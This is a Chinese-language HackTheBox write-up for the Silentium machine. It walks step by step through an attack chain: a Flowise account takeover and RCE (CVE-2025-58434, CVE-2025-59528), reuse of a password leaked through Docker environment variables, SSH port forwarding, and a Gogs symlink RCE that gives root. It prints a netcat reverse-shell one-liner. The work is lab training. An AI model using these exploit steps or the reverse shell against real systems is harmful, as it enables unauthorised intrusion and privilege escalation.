ledksv/silentium

GitHub: ledksv/silentium

一份 HackTheBox Medium 难度机器的完整渗透测试报告,展示了从 Flowise CVE 漏洞利用到 Gogs 提权的多阶段攻击链。

Stars: 0 | Forks: 0

# Silentium — HackTheBox 解题报告 **平台:** HackTheBox **操作系统:** Linux **标签:** CVE-2025-58434, Flowise 账号接管, CVE-2025-59528, Flowise RCE, Docker, 端口转发, Gogs RCE ## 攻击链 1. Nmap → 22 端口 (SSH) 和 80 端口 (HTTP / nginx) 2. ffuf VHost 枚举 → `staging.silentium.htb` → Flowise 3.0.5 3. CVE-2025-58434 → 未经身份验证的账号接管 → 以 `ben@silentium.htb` 身份获取管理员权限 4. CVE-2025-59528 → 通过 customMCP 节点实现已认证 RCE → 获取 Docker 容器内的 shell 5. Docker `env` → 泄露 `FLOWISE_PASSWORD` → 以 `ben` 身份进行 SSH 登录 6. `ss -tlnp` → 发现位于 3001 端口的内部 Gogs → SSH 本地端口转发 7. 注册 Gogs 账号 → 生成 API token → 符号链接 RCE 利用 → 获取 root shell ## 1. 枚举 ``` nmap -sV -sC -p- -Pn 10.129.52.140 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Silentium | Institutional Capital & Lending Solutions ``` 80 端口是一个静态的企业着陆页。目录爆破未发现任何结果。转向 VHost 枚举。 ## 2. VHost 发现 ``` ffuf -u http://silentium.htb \ -H 'Host: FUZZ.silentium.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -ac staging [Status: 200, Size: 3142] ``` 将 `staging.silentium.htb` 添加到 `/etc/hosts`。访问该域名会出现一个 **Flowise** 登录面板。 通过未经身份验证的版本端点确认版本信息: ``` curl -s http://staging.silentium.htb/api/v1/version {"version":"3.0.5"} ``` Flowise 3.0.5 存在以下漏洞: - **CVE-2025-58434** — 通过密码重置 token 泄露实现未经身份验证的账号接管 - **CVE-2025-59528** — 通过 customMCP 节点端点实现已认证 RCE ## 3. Flowise 账号接管 — CVE-2025-58434 CVE-2025-58434 允许未经身份验证的攻击者为任何账号触发密码重置,并直接从 API 响应中读取临时 token —— 无需访问电子邮件。 ``` python3 exploit.py -t http://staging.silentium.htb \ -e ben@silentium.htb [+] Target appears to be vulnerable. [*] Starting Account Takeover (CVE-2025-58434)... [+] Password reset request sent successfully. ➜ ID : e26c9d6c-678c-4c10-9e36-01813e8fea73 ➜ Name : admin ➜ Email : ben@silentium.htb ➜ Status : active [+] Account takeover successful! ``` 已确认获取 Flowise 的管理员权限。从仪表板生成 API 密钥,为下一阶段做准备。 ## 4. Flowise RCE — CVE-2025-59528 CVE-2025-59528 是 Flowise 中的一个已认证 RCE 漏洞。`/api/v1/node-load-method/customMCP` 端点在服务端执行攻击者控制的输入,从而允许执行任意命令。 该漏洞利用过程将账号接管直接链接触发,使用 `full-mode` 获取反向 shell: ``` python3 exploit.py -t http://staging.silentium.htb \ -e ben@silentium.htb \ --lhost YOUR_IP \ --lport 4444 \ full-mode [+] Account takeover successful! [+] Login successful! [*] Starting Remote Code Execution (CVE-2025-59528)... [*] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP 4444 >/tmp/f [*] Target URL: http://staging.silentium.htb/api/v1/node-load-method/customMCP [+] Payload sent. Check your listener for a reverse shell connection! ``` Shell 成功在 **Docker 容器** 内以 root 权限着陆。枚举环境变量: ``` HOSTNAME=c78c3cceb7ba FLOWISE_USERNAME=ben FLOWISE_PASSWORD=[redacted] SENDER_EMAIL=ben@silentium.htb SMTP_HOST=mailhog ``` 发现 `FLOWISE_PASSWORD` 已设置 —— 很可能被复用为 `ben` 操作系统账号的密码。 ## 5. 以 ben 身份通过 SSH 建立立足点 ``` ssh ben@10.129.57.226 # 密码:来自 Docker 环境变量的 FLOWISE_PASSWORD 值 ben@silentium:~$ whoami ben ben@silentium:~$ cat user.txt [redacted] ``` `sudo -l` 显示 ben 没有任何 sudo 权限。检查监听服务: ``` ben@silentium:~$ ss -tlnp LISTEN 127.0.0.1:3001 # internal service LISTEN 127.0.0.1:3000 LISTEN 127.0.0.1:1025 LISTEN 0.0.0.0:80 LISTEN 0.0.0.0:22 ``` 3001 端口仅限内部访问。将其转发到本地: ``` ssh -L 3001:127.0.0.1:3001 ben@10.129.57.226 ``` 访问 `http://127.0.0.1:3001` 发现了一个 **Gogs** 自托管 git 服务。 ## 6. Gogs — 符号链接 RCE 在 Gogs 实例上注册账号,并从用户设置中生成 API 访问 token。 该漏洞利用方法将一个恶意符号链接推送到 git 仓库,然后使用 Gogs API 覆盖仓库的 `.git/config`。向配置中注入 `core.fsmonitor` 钩子值,当 git 操作在服务端运行时会触发代码执行 —— Gogs 以 root 权限运行。 ``` python3 exploit.py \ --url http://127.0.0.1:3001 \ --username \ --password \ --token \ --host YOUR_IP \ --port 4444 [+] Repo created: 1e355eeb17b6 [*] Cloning repo as ... [master 68e12d0] Initial commit — malicious_link (symlink) [+] Symlink successfully pushed to master. [*] Overwriting .git/config via symlink API... ``` 监听器捕获到一个 **root** 权限的 shell: ``` nc -lvnp 4444 root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# whoami root root@silentium:~# cat /root/root.txt [redacted] ``` ## 7. Flag ``` User : /home/ben/user.txt → redacted Root : /root/root.txt → redacted ```
标签:CISA项目, CVE-2025-58434, CVE-2025-59528, Docker逃逸, ffuf, Flowise, Gogs, HackTheBox, Nginx, Nmap, RCE, SSH本地转发, Web报告查看器, 内存分配, 协议分析, 子域名爆破, 提权, 插件系统, 权限提升, 漏洞复现, 环境变量泄漏, 端口转发, 符号链接, 编程工具, 网络安全, 虚拟主机发现, 虚拟驱动器, 请求拦截, 账户接管, 远程代码执行, 逆向工具, 隐私保护, 靶机Writeup, 靶机渗透